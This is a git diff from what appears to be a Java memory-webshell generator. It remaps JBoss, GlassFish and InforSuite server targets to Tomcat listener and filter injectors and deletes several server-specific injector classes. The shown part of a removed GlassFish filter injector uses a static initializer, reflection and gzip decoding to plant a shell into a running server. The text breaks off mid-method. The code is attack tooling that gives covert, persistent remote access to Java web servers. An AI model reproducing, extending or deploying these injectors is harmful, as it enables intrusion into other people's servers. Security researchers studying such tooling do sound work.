diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/Server.java b/generator/src/main/java/com/reajason/javaweb/memshell/Server.java
index 17d37545..d000ec90 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/Server.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/Server.java
@@ -29,8 +29,8 @@ public enum Server {
/**
* JBoss AS 中间件,JBoss 6.4-EAP 也使用的当前方式 JBoss AS
*/
- JBossAS(new JbossShell()),
- JBossEAP6(new JbossShell()),
+ JBossAS(new TomcatShell()),
+ JBossEAP6(new TomcatShell()),
/**
* Undertow,对应是 Wildfly 以及 JBoss EAP,也有可能是 SpringBoot 用的
* JBossEAP
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java
index 8ca8a3ef..2c1a7494 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java
@@ -1,13 +1,12 @@
package com.reajason.javaweb.memshell.server;
-import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector;
-import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjector;
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
+import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector;
+import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;
-import net.bytebuddy.implementation.bytecode.assign.Assigner;
import static com.reajason.javaweb.memshell.ShellType.*;
@@ -42,10 +41,10 @@ public class GlassFishShell extends AbstractShell {
@Override
public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
- .addInjector(LISTENER, GlassFishListenerInjector.class)
- .addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class)
- .addInjector(FILTER, GlassFishFilterInjector.class)
- .addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class)
+ .addInjector(LISTENER, TomcatListenerInjector.class)
+ .addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
+ .addInjector(FILTER, TomcatFilterInjector.class)
+ .addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
.addInjector(VALVE, GlassFishValveInjector.class)
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuiteShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuiteShell.java
index 56e61425..628c7929 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuiteShell.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuiteShell.java
@@ -1,10 +1,10 @@
package com.reajason.javaweb.memshell.server;
-import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjector;
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
import com.reajason.javaweb.memshell.injector.inforsuite.InforSuiteFilterInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
+import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
import static com.reajason.javaweb.memshell.ShellType.*;
@@ -22,8 +22,8 @@ public class InforSuiteShell extends AbstractShell {
@Override
public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
- .addInjector(LISTENER, GlassFishListenerInjector.class)
- .addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class)
+ .addInjector(LISTENER, TomcatListenerInjector.class)
+ .addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
.addInjector(FILTER, InforSuiteFilterInjector.class)
.addInjector(JAKARTA_FILTER, InforSuiteFilterInjector.class)
.addInjector(VALVE, GlassFishValveInjector.class)
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java
deleted file mode 100644
index ef526805..00000000
--- a/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java
+++ /dev/null
@@ -1,32 +0,0 @@
-package com.reajason.javaweb.memshell.server;
-
-import com.reajason.javaweb.memshell.injector.jboss.JbossFilterInjector;
-import com.reajason.javaweb.memshell.injector.jboss.JbossListenerInjector;
-import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector;
-import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
-import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
-
-import static com.reajason.javaweb.memshell.ShellType.*;
-
-/**
- * @author ReaJason
- * @since 2024/12/10
- */
-public class JbossShell extends AbstractShell {
-
- @Override
- public Class> getListenerInterceptor() {
- return TomcatShell.ListenerInterceptor.class;
- }
-
- @Override
- public InjectorMapping getShellInjectorMapping() {
- return InjectorMapping.builder()
- .addInjector(LISTENER, JbossListenerInjector.class)
- .addInjector(FILTER, JbossFilterInjector.class)
- .addInjector(VALVE, JbossValveInjector.class)
- .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
- .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
- .build();
- }
-}
\ No newline at end of file
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java
deleted file mode 100644
index 06a0ea2c..00000000
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java
+++ /dev/null
@@ -1,200 +0,0 @@
-package com.reajason.javaweb.memshell.injector.glassfish;
-
-import java.io.ByteArrayInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.IOException;
-import java.lang.reflect.Constructor;
-import java.lang.reflect.Field;
-import java.lang.reflect.Method;
-import java.util.*;
-import java.util.logging.Logger;
-import java.util.zip.GZIPInputStream;
-
-/**
- * @author ReaJason
- */
-public class GlassFishFilterInjector {
- Logger log = Logger.getLogger(GlassFishFilterInjector.class.getName());
-
- static {
- new GlassFishFilterInjector();
- }
-
- public GlassFishFilterInjector() {
- try {
- List